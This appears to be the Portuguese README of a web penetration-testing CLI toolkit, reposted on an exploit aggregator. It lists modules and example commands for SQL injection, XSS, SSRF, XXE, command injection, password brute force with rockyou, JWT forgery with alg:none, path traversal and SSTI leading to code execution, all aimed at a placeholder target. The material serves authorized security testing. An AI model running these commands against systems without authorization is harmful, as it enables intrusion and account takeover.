Share
## https://sploitus.com/exploit?id=E07F5024-E3D1-5632-9244-27E181873CF1
# OWASP Web Pentest Tools
CLI toolkit para suporte em testes de penetração em aplicações web, cobrindo as principais vulnerabilidades do OWASP Top 10.
> **Use somente em ambientes com autorização explícita.**
## Instalação
```bash
pip install -r requirements.txt
```
## Uso
```bash
py main.py [opções]
```
## Comandos
| Comando | OWASP | Descrição |
|---------|-------|-----------|
| `headers` | A02, A05 | Auditoria de security headers e cookies |
| `sqli` | A03 | SQL Injection (error-based, boolean-blind, time-based) |
| `xss` | A03 | XSS refletido, DOM-based indicators |
| `csrf` | A01 | CSRF token check + geração de PoC HTML |
| `ssrf` | A10 | SSRF + bypass de filtros + metadata cloud |
| `cmdi` | A03 | Command injection (output-based + time-delay) |
| `xxe` | A03 | XXE file read, SSRF, blind OOB, XInclude |
| `auth` | A07 | Enumeração, brute force, análise/forge de JWT |
| `idor` | A01 | Path traversal, IDOR, descoberta de paths admin |
| `ssti` | A03 | SSTI (Jinja2, Twig, Freemarker, Mako) + RCE |
| `all` | Todos | Executa todos os módulos em sequência |
## Opções globais
```
-o, --output Salvar resultado em arquivo
-f, --format text|json Formato de saída (padrão: text)
-c, --cookie "k=v; k=v" Cookies de sessão autenticada
-H, --header "K: V" Header extra (repetível)
-x, --proxy http://... Proxy (ex: Burp Suite 127.0.0.1:8080)
-A, --user-agent "..." User-Agent customizado
```
---
## Exemplos
### Security Headers
```bash
py main.py headers https://target.com
py main.py headers https://target.com -v -o report.txt
```
### SQL Injection
```bash
# Detecta parâmetros automaticamente na URL
py main.py sqli "https://target.com/products?id=1"
# Especifica parâmetros manualmente
py main.py sqli "https://target.com/search" -p query,category
# Com sessão autenticada via Burp
py main.py sqli "https://target.com/api?id=1" -c "session=abc123" -x http://127.0.0.1:8080
```
### XSS
```bash
# GET params
py main.py xss "https://target.com/search?q=test"
# POST body
py main.py xss https://target.com/comment -d "body=hello&author=test"
```
### CSRF
```bash
# Analisa formulários e gera PoC HTML automaticamente
py main.py csrf https://target.com/settings
```
### SSRF
```bash
# Testa parâmetros de URL + payloads de cloud metadata
py main.py ssrf "https://target.com/fetch?url=http://example.com" -p url
# Com Burp Collaborator para blind SSRF
py main.py ssrf "https://target.com/api" -p url --collaborator xxxx.burpcollaborator.net
```
### Command Injection
```bash
py main.py cmdi "https://target.com/ping?host=127.0.0.1"
```
### XXE
```bash
# Gerar todos os payloads
py main.py xxe --generate --collaborator xxxx.burpcollaborator.net
# Testar endpoint XML
py main.py xxe https://target.com/api/stock -x http://127.0.0.1:8080
```
### Autenticação e JWT
```bash
# Analisar token JWT
py main.py auth --jwt "eyJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.sig"
# Forjar JWT com alg:none e claims customizados
py main.py auth --jwt "" --forge "role=admin,user=administrator"
# Enumerar usernames válidos
py main.py auth https://target.com/login --enumerate "admin,user,carlos,wiener"
# Brute force com wordlist
py main.py auth https://target.com/login --brute admin --wordlist rockyou.txt
# Brute force com senhas padrão (sem wordlist)
py main.py auth https://target.com/login --brute admin
```
### IDOR e Controle de Acesso
```bash
# Path traversal
py main.py idor "https://target.com/file?name=image.png" --traversal -p name
# Descoberta de paths de admin
py main.py idor https://target.com --admin
# IDOR por ID numérico
py main.py idor "https://target.com/api/user?id=42" --param id --id 42 --range 50
```
### SSTI
```bash
py main.py ssti "https://target.com/render?template=hello"
```
### Full scan
```bash
py main.py all "https://target.com/search?q=test" -p q -o full_report.json -f json
```
---
## Fluxo de trabalho com Burp Suite
1. Inicie o Burp com proxy em `127.0.0.1:8080`
2. Capture uma requisição autenticada e copie o cookie de sessão
3. Rode as ferramentas com `-x http://127.0.0.1:8080 -c "session="`
4. Os requests aparecem no histórico do Burp para análise detalhada
---
## Módulos
```
modules/
├── headers.py — A02/A05: headers, CORS, cookies
├── sqli.py — A03: SQL Injection
├── xss.py — A03: XSS reflected + DOM
├── csrf.py — A01: CSRF + PoC generator
├── ssrf.py — A10: SSRF + bypass payloads
├── cmdi.py — A03: OS Command Injection
├── xxe.py — A03: XXE / XInclude
├── auth.py — A07: Auth enum, brute, JWT
├── idor.py — A01: IDOR, traversal, admin paths
└── ssti.py — A03: SSTI → RCE
```